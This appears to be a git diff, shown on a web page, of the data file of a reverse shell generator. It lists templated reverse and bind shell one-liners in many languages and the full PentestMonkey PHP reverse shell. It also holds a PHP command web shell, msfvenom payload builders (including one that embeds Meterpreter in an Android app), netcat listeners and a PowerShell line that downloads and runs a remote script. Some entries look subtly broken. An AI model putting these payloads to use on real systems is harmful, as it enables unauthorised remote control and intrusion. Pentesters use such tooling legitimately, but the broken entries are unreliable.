|
||||
"name": "Perl",
|
||||
"command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Perl no sh",
|
||||
"command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"{port}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP Emoji",
|
||||
"command": "php -r '$😀=\"1\";$😁=\"2\";$😅=\"3\";$😆=\"4\";$😉=\"5\";$😊=\"6\";$😎=\"7\";$😍=\"8\";$😚=\"9\";$🙂=\"0\";$🤢=\" \";$🤓=\"<\";$🤠=\">\";$😱=\"-\";$😵=\"&\";$🤩=\"i\";$🤔=\".\";$🤨=\"/\";$🥰=\"a\";$😐=\"b\";$😶=\"i\";$🙄=\"h\";$😂=\"c\";$🤣=\"d\";$😃=\"e\";$😄=\"f\";$😋=\"k\";$😘=\"n\";$😗=\"o\";$😙=\"p\";$🤗=\"s\";$😑=\"x\";$💀 = $😄. $🤗. $😗. $😂. $😋. $😗. $😙. $😃. $😘;$🚀 = \"{ip}\";$💻 = {port};$🐚 = \"{shell}\". $🤢. $😱. $🤩. $🤢. $🤓. $😵. $😅. $🤢. $🤠. $😵. $😅. $🤢. $😁. $🤠. $😵. $😅;$🤣 = $💀($🚀,$💻);$👽 = $😃. $😑. $😃. $😂;$👽($🐚);'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP PentestMonkey",
|
||||
"command": "<?php\n// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php\n// Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = '{ip}';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'uname -a; w; id; {shell} -i';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\n\t\n\tif ($pid == -1) {\n\t\tprintit(\"ERROR: Can't fork\");\n\t\texit(1);\n\t}\n\t\n\tif ($pid) {\n\t\texit(0); // Parent exits\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit(\"Error: Can't setsid()\");\n\t\texit(1);\n\t}\n\n\t$daemon = 1;\n} else {\n\tprintit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"/\");\n\numask(0);\n\n// Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit(\"$errstr ($errno)\");\n\texit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), // stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), // stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") // stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n\tprintit(\"ERROR: Can't spawn shell\");\n\texit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit(\"ERROR: Shell connection terminated\");\n\t\tbreak;\n\t}\n\n\tif (feof($pipes[1])) {\n\t\tprintit(\"ERROR: Shell process terminated\");\n\t\tbreak;\n\t}\n\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit(\"SOCK READ\");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit(\"SOCK: $input\");\n\t\tfwrite($pipes[0], $input);\n\t}\n\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit(\"STDOUT READ\");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit(\"STDOUT: $input\");\n\t\tfwrite($sock, $input);\n\t}\n\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit(\"STDERR READ\");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit(\"STDERR: $input\");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint \"$string\\n\";\n\t}\n}\n\n?>",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP cmd",
|
||||
"command": "<html>\n<body>\n<form method=\"GET\" name=\"<?php echo basename($_SERVER[\'PHP_SELF\']); ?>\">\n<input type=\"TEXT\" name=\"cmd\" id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n<\/form>\n<pre>\n<?php\n if(isset($_GET[\'cmd\']))\n {\n system($_GET[\'cmd\']);\n }\n?>\n<\/pre>\n<\/body>\n<script>document.getElementById(\"cmd\").focus();<\/script>\n<\/html>",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP exec",
|
||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"{shell} <&3 >&3 2>&3\");'",
|
||||
"meta": ["linux", , "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP shell_exec",
|
||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});shell_exec(\"{shell} <&3 >&3 2>&3\");'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP system",
|
||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});system(\"{shell} <&3 >&3 2>&3\");'",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP passthru",
|
||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});passthru(\"{shell} <&3 >&3 2>&3\");'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP `",
|
||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});`{shell} <&3 >&3 2>&3`;'",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "PHP popen",
|
||||
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});popen(\"{shell} <&3 >&3 2>&3\", \"r\");'",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Windows ConPty",
|
||||
"command": "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}",
|
||||
"meta": ["windows"]
|
||||
},
|
||||
{
|
||||
"name": "PowerShell #1",
|
||||
"command": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"{ip}\",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
|
||||
"meta": ["windows"]
|
||||
},
|
||||
{
|
||||
"name": "PowerShell #2",
|
||||
"command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
|
||||
"meta": ["windows"]
|
||||
},
|
||||
{
|
||||
"name": "PowerShell #3 (Base64)",
|
||||
"meta": ["windows"]
|
||||
},
|
||||
{
|
||||
"name": "Python #1",
|
||||
"command": "export RHOST=\"{ip}\";export RPORT={port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Python #2",
|
||||
"command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Python3 #1",
|
||||
"command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Python3 #2",
|
||||
"command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Ruby #1",
|
||||
"command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Ruby no sh",
|
||||
"command": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "socat #1",
|
||||
"command": "socat TCP:{ip}:{port} EXEC:{shell}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "socat #2 (TTY)",
|
||||
"command": "socat TCP:{ip}:{port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "node.js",
|
||||
"command": "require('child_process').exec('nc -e {shell} {ip} {port}')",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Java #1",
|
||||
"command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "telnet",
|
||||
"command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "zsh",
|
||||
"command": "zsh -c 'zmodload zsh/net/tcp && ztcp {ip} {port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'",
|
||||
"meta": ["linux", "mac"]
|
||||
}
|
||||
]
|
||||
);
|
||||
|
||||
const bindShellCommands = withCommandType(
|
||||
CommandType.BindShell,
|
||||
[
|
||||
{
|
||||
"name": "Python3 Bind",
|
||||
"command": "python3 -c 'exec(\"\"\"import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\"0.0.0.0\",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\"\"\")'",
|
||||
"meta": ["bind", "mac", "linux", "windows"]
|
||||
},
|
||||
{
|
||||
"name": "PHP Bind",
|
||||
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);\\socket_write($cl,$m,strlen($m));}}'",
|
||||
"meta": ["bind", "mac", "linux", "windows"]
|
||||
}
|
||||
]
|
||||
);
|
||||
|
||||
const msfvenomCommands = withCommandType(
|
||||
CommandType.MSFVenom,
|
||||
[
|
||||
{
|
||||
"name": "Windows Meterpreter Staged Reverse TCP",
|
||||
"command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "staged", "meterpreter", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Windows Stageless Reverse TCP",
|
||||
"command": "msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Meterpreter Staged Reverse TCP",
|
||||
"command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf >reverse.elf",
|
||||
"meta": ["msfvenom", "linux", "meterpreter", "staged", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Stageless Reverse TCP",
|
||||
"command": "msfvenom -p linux/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f elf >reverse.elf",
|
||||
"meta": ["msfvenom", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Meterpreter Staged Reverse TCP (x86)",
|
||||
"command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf > shell.elf",
|
||||
"meta": ["msfvenom", "linux", "meterpreter", "staged", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "macOS Stageless Reverse TCP (x86)",
|
||||
"command": "msfvenom -p osx/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f macho > shell.macho",
|
||||
"meta": ["msfvenom", "mac", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "PHP Meterpreter Stageless Reverse TCP",
|
||||
"command": "msfvenom -p php/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php",
|
||||
"meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "JSP Stageless Reverse TCP",
|
||||
"command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell.jsp",
|
||||
"meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "WAR Stageless Reverse TCP",
|
||||
"command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f war > shell.war",
|
||||
"meta": ["msfvenom", "windows", "linux", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Android Meterpreter Reverse TCP",
|
||||
"command": "msfvenom –p android/meterpreter/reverse_tcp lhost={ip} lport={port} R > payload-name.apk",
|
||||
"meta": ["msfvenom", "android", "android", "reverse"]
|
||||
},
|
||||
{
|
||||
|
||||
"name": "Android Meterpreter Embed Reverse TCP",
|
||||
"command": "msfvenom -x <app.apk> android/meterpreter/reverse_tcp lhost={ip} lport={port} -o payload.apk",
|
||||
"meta": ["msfvenom", "android", "android", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Python Stageless Reverse TCP",
|
||||
"command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw > shell.py",
|
||||
"meta": ["msfvenom", "windows", "linux", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Bash Stageless Reverse TCP",
|
||||
"command": "msfvenom -p cmd/unix/reverse_bash LHOST={ip} LPORT={port} -f raw > shell.sh",
|
||||
"meta": ["msfvenom", "linux", "macos", "stageless", "reverse"]
|
||||
},
|
||||
]
|
||||
);
|
||||
|
||||
const rsgData = {
|
||||
|
||||
listenerCommands: [
|
||||
['nc', 'nc -lvnp {port}'],
|
||||
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
|
||||
['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'],
|
||||
['pwncat', 'python3 -m pwncat -lp {port}'],
|
||||
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
|
||||
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
||||
@ -10,47 +331,17 @@ const rsgData = {
|
||||
['powercat', 'powercat -l -p {port}']
|
||||
],
|
||||
|
||||
shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
||||
shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'cmd', 'powershell', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
||||
|
||||
reverseShellsCommands: [
|
||||
['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'],
|
||||
['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'],
|
||||
['Bash read line', 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done'],
|
||||
['Bash 5', '{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5'],
|
||||
['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'],
|
||||
['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f'],
|
||||
['nc -e', 'nc -e {shell} {ip} {port}'],
|
||||
['nc -c', 'nc -c {shell} {ip} {port}'],
|
||||
['ncat -e', 'ncat {ip} {port} -e {shell} '],
|
||||
['ncat udp', 'ncat {ip} {port} -e {shell}'],
|
||||
['Emoji PHP', 'php -r \'$😀="1";$😁="2";$😅="3";$😆="4";$😉="5";$😊="6";$😎="7";$😍="8";$😚="9";$🙂="0";$🤢=" ";$🤓="<";$🤠=">";$😱="-";$😵="&";$🤩="i";$🤔=".";$🤨="/";$🥰="a";$😐="b";$😶="i";$🙄="h";$😂="c";$🤣="d";$😃="e";$😄="f";$😋="k";$😘="n";$😗="o";$😙="p";$🤗="s";$😑="x";$💀 = $😄. $🤗. $😗. $😂. $😋. $😗. $😙. $😃. $😘;$🚀 = "{ip}";$💻 = {port};$🐚 = "{shell}". $🤢. $😱. $🤩. $🤢. $🤓. $😵. $😅. $🤢. $🤠. $😵. $😅. $🤢. $😁. $🤠. $😵. $😅;$🤣 = $💀($🚀,$💻);$👽 = $😃. $😑. $😃. $😂;$👽($🐚);\''],
|
||||
['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");};\''],
|
||||
['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''],
|
||||
['PHP PentestMonkey', '<?php\n\/\/ php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php\n\/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = \'{ip}\';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = \'uname -a; w; id; {shell} -i\';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists(\'pcntl_fork\')) {\n $pid = pcntl_fork();\n \n if ($pid == -1) {\n printit(\"ERROR: Can\'t fork\");\n exit(1);\n }\n \n if ($pid) {\n exit(0); \/\/ Parent exits\n }\n if (posix_setsid() == -1) {\n printit(\"Error: Can\'t setsid()\");\n exit(1);\n }\n\n $daemon = 1;\n} else {\n printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"\/\");\n\numask(0);\n\n\/\/ Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n printit(\"$errstr ($errno)\");\n exit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n printit(\"ERROR: Can\'t spawn shell\");\n exit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n if (feof($sock)) {\n printit(\"ERROR: Shell connection terminated\");\n break;\n }\n\n if (feof($pipes[1])) {\n printit(\"ERROR: Shell process terminated\");\n break;\n }\n\n $read_a = array($sock, $pipes[1], $pipes[2]);\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n if (in_array($sock, $read_a)) {\n if ($debug) printit(\"SOCK READ\");\n $input = fread($sock, $chunk_size);\n if ($debug) printit(\"SOCK: $input\");\n fwrite($pipes[0], $input);\n }\n\n if (in_array($pipes[1], $read_a)) {\n if ($debug) printit(\"STDOUT READ\");\n $input = fread($pipes[1], $chunk_size);\n if ($debug) printit(\"STDOUT: $input\");\n fwrite($sock, $input);\n }\n\n if (in_array($pipes[2], $read_a)) {\n if ($debug) printit(\"STDERR READ\");\n $input = fread($pipes[2], $chunk_size);\n if ($debug) printit(\"STDERR: $input\");\n fwrite($sock, $input);\n }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n if (!$daemon) {\n print \"$string\\n\";\n }\n}\n\n?>'],
|
||||
['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`{shell} -i <&3 >&3 2>&3`;\''],
|
||||
['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("{shell} -i <&3 >&3 2>&3", "r");\''],
|
||||
['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'],
|
||||
['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'],
|
||||
['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'],
|
||||
['PowerShell #3 (Base64)', undefined],
|
||||
['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("{shell}")\''],
|
||||
['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("{shell}")\''],
|
||||
['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("{shell} -i <&%d >&%d 2>&%d",f,f,f)\''],
|
||||
['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''],
|
||||
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
|
||||
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
|
||||
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
|
||||
['node.js', 'require(\'child_process\').exec(\'nc -e {shell} {ip} {port}\')'],
|
||||
['Java #1','import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}'],
|
||||
['Haskell #1','module Main where\n\nimport System.Process\n\nmain = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f"'],
|
||||
['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF'],
|
||||
],
|
||||
upgrade: ['python', ],
|
||||
|
||||
specialCommands: {
|
||||
'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
|
||||
}
|
||||
},
|
||||
|
||||
reverseShellCommands: [
|
||||
...reverseShellCommands,
|
||||
...bindShellCommands,
|
||||
...msfvenomCommands
|
||||
]
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user